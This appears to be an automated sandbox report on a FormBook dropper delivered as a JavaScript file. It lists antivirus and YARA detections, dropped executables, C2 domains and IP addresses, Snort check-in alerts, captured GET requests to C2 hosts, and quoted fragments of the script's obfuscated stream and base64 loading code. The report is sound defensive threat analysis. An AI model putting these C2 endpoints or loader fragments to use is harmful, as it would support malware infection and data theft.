"sekolahkejepang.com", "saastainability.com", "multiverseofbooks.com"]}

Multi AV Scanner detection for submitted file

Source: CIQ-PO16266.js	Virustotal: Detection: 25%			Perma Link
Source: CIQ-PO16266.js	ReversingLabs: Detection: 22%

Yara detected FormBook

Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.bin.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000000.888258763.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577518053.0000000000730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577466338.0000000000700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.539227750.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.981077246.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.447624352.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1028333019.0000000004867000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.972949650.0000000000484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.891623399.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.451386308.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887276277.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447599993.000001C6B5DA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.515738987.000000000AD27000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887613995.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.447905033.000001C6B609A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.982531208.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.447458593.0000000000011000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.455268485.000001C6B6770000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452309362.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.454366130.000001C6B5A21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.448608329.000001C6B5E15000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.887927975.00000000008D1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bin.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe, type: DROPPED

Antivirus detection for URL or domain

Source: http://www.ratebill.com/np8s/	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VredmFyIGN0	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrext10	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre$s	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre-Agent((	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VrebWcgPSAi	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreMw	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vreadkhan.duum	Avira URL Cloud: Label: malware
Source: http://www.ratebill.com/np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf	Avira URL Cloud: Label: malware
Source: http://www.rasheedabossmoves.com/np8s/?4hM4=o4B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7Qq3EYWraDKw9	Avira URL Cloud: Label: malware
Source: http://www.topings33.com/np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vreox	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreMpN	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VrentWW	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreMs&	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre9	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre2	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreMF	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre4	Avira URL Cloud: Label: malware
Source: http://www.pdwfifi.com/np8s/?4hM4=o4B0f&zVB=xL/YlJAUY6uB/cHSlkc/r5VaZJ7uMa0kbAtysG6BLnWT6huomjvuhq3RLtT5uw3RUbD6	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreeX9	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre0	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre1	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrenter2	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/KCQlm	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrets	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreM:	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre)	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VrecomputerNUMBER_OF_H	Avira URL Cloud: Label: malware
Source: http://www.jlbwaterdamagerepairseattle.com/np8s/	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreHGG	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreoX&B	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrenter2Pac	Avira URL Cloud: Label: malware
Source: http://www.brawlhallacodestore.com/np8s/	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre~	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreZXBsYWNl	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-1000	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreKTsNClZO	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrew	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vret	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vreo	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrep	Avira URL Cloud: Label: malware
Source: www.gafcbooster.com/np8s/	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrel	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrei	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreXGxvY2Fs	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vreadkhan.d	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-100	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreITL	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreR	Avira URL Cloud: Label: malware
Source: http://www.pdwfifi.com/np8s/	Avira URL Cloud: Label: malware
Source: http://www.jlbwaterdamagerepairseattle.com/np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreM	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre-Agent((m	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreG	Avira URL Cloud: Label: malware
Source: http://www.topings33.com/np8s/	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrenter22	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VrePSAiQ2wi	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vre0D	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrr	Avira URL Cloud: Label: malware
Source: http://www.muddybootslife.com/np8s/	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrrm	Avira URL Cloud: Label: malware
Source: http://www.brawlhallacodestore.com/np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vrer:	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vreadkhan.duu	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/Vreoft.XMLHTTPll	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/VreG1C	Avira URL Cloud: Label: malware
Source: http://dilshadkhan.duia.ro:6670/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: rasheedabossmoves.com

Virustotal: Detection: 7%

Perma Link

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Metadefender: Detection: 48%	Perma Link
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe	Metadefender: Detection: 48%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\Clf0t8l5h\oxx7nkdv4g8.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Metadefender: Detection: 48%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\bin.exe	ReversingLabs: Detection: 100%

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Clf0t8l5h\oxx7nkdv4g8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Joe Sandbox ML: detected

Source: 23.0.oxx7nkdv4g8.exe.8d0000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.bin.exe.10000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 23.0.oxx7nkdv4g8.exe.8d0000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 23.2.oxx7nkdv4g8.exe.8d0000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.bin.exe.10000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 23.0.oxx7nkdv4g8.exe.8d0000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 23.0.oxx7nkdv4g8.exe.8d0000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source:	Binary string: wntdll.pdbUGP source: bin.exe, 00000003.00000003.451270316.0000000000BE1000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000003.448147583.0000000000A4C000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.578046255.0000000000E9F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.579500120.0000000000D4E000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.577535038.0000000000BAF000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.890212003.0000000000E92000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.888712665.0000000000BD9000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000002.892187528.000000000114F000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: bin.exe, bin.exe, 00000003.00000003.451270316.0000000000BE1000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000003.448147583.0000000000A4C000.00000004.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, bin.exe, 00000003.00000002.578046255.0000000000E9F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.579500120.0000000000D4E000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000003.577535038.0000000000BAF000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, oxx7nkdv4g8.exe, 00000017.00000002.891799619.0000000001030000.00000040.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.890212003.0000000000E92000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000003.888712665.0000000000BD9000.00000004.00000800.00020000.00000000.sdmp, oxx7nkdv4g8.exe, 00000017.00000002.892187528.000000000114F000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00411660 FindFirstFileW,FindNextFileW,FindClose,		13_2_00411660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00411659 FindFirstFileW,FindNextFileW,FindClose,		13_2_00411659

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: CIQ-PO16266.js	Argument value : ['"gYMty=WSH.CreateObject("adodb.stream")"', '"gYMty=","WSH.CreateObject("adodb.stream")",-386']	Go to definition
Source: CIQ-PO16266.js	Argument value : ['"gYMty=WSH.CreateObject("adodb.stream")"', 'gYMty,WSH.CreateObject("adodb.stream")', 'var H3br3w,WSH.CreateObject("microsoft.xmldom").createElement("mko"),H3br3w.dataType,"bin.base64",H3', '"gYMty=","WSH.CreateObject("adodb.stream")",-386', '"gYMty","WSH.CreateObject("adodb.stream")"']	Go to definition
Source: CIQ-PO16266.js	Argument value : ['"gYMty=WSH.CreateObject("adodb.stream")"', 'gYMty,WSH.CreateObject("adodb.stream")', 'var H3br3w,WSH.CreateObject("microsoft.xmldom").createElement("mko"),H3br3w.dataType,"bin.base64",H3', '"gYMty=","WSH.CreateObject("adodb.stream")",-386', '"gYMty","WSH.CreateObject("adodb.stream")"']	Go to definition

JavaScript source code contains call to eval containing suspicious API calls

Source: CIQ-PO16266.js

Argument value: ['"gYMty=WSH.CreateObject("adodb.stream")"', '"var H3br3w=WSH.CreateObject("microsoft.xmldom").createElement("mko")"']

Go to definition

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.ratebill.com
Source: C:\Windows\explorer.exe	Network Connect: 160.153.136.3 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.muddybootslife.com
Source: C:\Windows\explorer.exe	Domain query: www.topings33.com
Source: C:\Windows\explorer.exe	Network Connect: 185.53.179.171 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.localbloom.online
Source: C:\Windows\explorer.exe	Domain query: www.pdwfifi.com
Source: C:\Windows\explorer.exe	Domain query: www.rasheedabossmoves.com
Source: C:\Windows\explorer.exe	Network Connect: 23.231.99.207 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.68chengxinle.com
Source: C:\Windows\explorer.exe	Domain query: www.84866.xyz
Source: C:\Windows\explorer.exe	Domain query: www.halecamilla.site
Source: C:\Windows\explorer.exe	Network Connect: 137.220.133.198 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.39.111.146 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 35.241.47.216 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 170.39.76.27 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.medyumgalip.com
Source: C:\Windows\explorer.exe	Domain query: www.wps-mtb.com
Source: C:\Windows\System32\wscript.exe	Domain query: dilshadkhan.duia.ro
Source: C:\Windows\explorer.exe	Domain query: www.refreshertowels.com
Source: C:\Windows\explorer.exe	Network Connect: 162.0.230.89 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 207.174.214.35 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.235.200.145 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.jlbwaterdamagerepairseattle.com
Source: C:\Windows\explorer.exe	Domain query: www.sekolahkejepang.com
Source: C:\Windows\explorer.exe	Network Connect: 52.17.85.125 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.brawlhallacodestore.com
Source: C:\Windows\explorer.exe	Domain query: www.hengyuejiguang.com
Source: C:\Windows\explorer.exe	Network Connect: 185.134.245.113 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.247.11.212 80	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 91.193.75.133 6670	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.gafcbooster.com
Source: C:\Windows\explorer.exe	Network Connect: 172.67.140.71 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49830 -> 160.153.136.3:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49830 -> 160.153.136.3:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49830 -> 160.153.136.3:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49848 -> 103.247.11.212:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49848 -> 103.247.11.212:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49848 -> 103.247.11.212:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49892 -> 170.39.76.27:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49892 -> 170.39.76.27:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49892 -> 170.39.76.27:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49913 -> 185.53.179.171:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49913 -> 185.53.179.171:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49913 -> 185.53.179.171:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49920 -> 45.39.111.146:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49920 -> 45.39.111.146:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49920 -> 45.39.111.146:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49940 -> 134.122.201.217:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49940 -> 134.122.201.217:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49940 -> 134.122.201.217:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49964 -> 170.39.76.27:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49964 -> 170.39.76.27:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49964 -> 170.39.76.27:80

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe	DNS query: www.84866.xyz
Source:	DNS query: www.o7oiwlp.xyz
Source:	DNS query: www.84866.xyz

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.gafcbooster.com/np8s/

Source: Joe Sandbox View	ASN Name: PETRONAS-BHD-AS-APPetroliamNasionalBerhadMY PETRONAS-BHD-AS-APPetroliamNasionalBerhadMY
Source: Joe Sandbox View	ASN Name: GODADDY-AMSDE GODADDY-AMSDE

Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7Qq3EYWraDKw9 HTTP/1.1Host: www.rasheedabossmoves.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpI6ry2rccLFMoZPirUOcSWhDiha&4hM4=o4B0f HTTP/1.1Host: www.84866.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=VOk/KoOKPmyFTHQXWsNAO627WiKHMN6hKQrMVwJFQe1euvxAvAuscpxAvIMnAXbQu1P/ HTTP/1.1Host: www.sekolahkejepang.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&4hM4=o4B0f HTTP/1.1Host: www.refreshertowels.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=vppS5AedQQffRlEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=o4B0f HTTP/1.1Host: www.medyumgalip.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=/pe3of3KthlHX+AZdE40oBjh24oMUm2DhTWzf9+6lBsOaTWyqOSb4stDRDmzQmtt1180&4hM4=o4B0f HTTP/1.1Host: www.halecamilla.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf HTTP/1.1Host: www.ratebill.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f HTTP/1.1Host: www.topings33.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl HTTP/1.1Host: www.jlbwaterdamagerepairseattle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=uZkZa9PDR+t76IUsjgXNksX18rdkaBR0jzgf+2QyrrE0BTZPOy5IBVEfZpk90w8gWC7R HTTP/1.1Host: www.localbloom.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291Cc0nRXdmgbio7b0swgMzU3Pebjd8T&4hM4=o4B0f HTTP/1.1Host: www.brawlhallacodestore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?4hM4=o4B0f&zVB=xL/YlJAUY6uB/cHSlkc/r5VaZJ7uMa0kbAtysG6BLnWT6huomjvuhq3RLtT5uw3RUbD6 HTTP/1.1Host: www.pdwfifi.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=0fJNa1pbsGGBLLIqJIKrQqKQ2B2XPA1kKZrGWkGMUEET6sTbN1/jKODkGG9Xc1lZm5PZ&4hM4=o4B0f HTTP/1.1Host: www.68chengxinle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=MO+mSdLLrNuwRQYoVJuGLv0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/o4IGo+fIW5Ou&CTr8g=z48HVPSHfp HTTP/1.1Host: www.refreshertowels.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=5R3gKgAJtID3s3glssHXeRhFadAM4oJIjGTDo+g9ImvY9tNBMPSBarPOG5Bgot7e+72k&CTr8g=z48HVPSHfp HTTP/1.1Host: www.muddybootslife.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpI6ry2rccLFMoZPirUOcSWhDiha&CTr8g=z48HVPSHfp HTTP/1.1Host: www.84866.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /np8s/?zVB=uZkZa9PDR+t76IUsjgXNksX18rdkaBR0jzgf+2QyrrE0BTZPOy5IBVEfZpk90w8gWC7R&CTr8g=z48HVPSHfp HTTP/1.1Host: www.localbloom.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
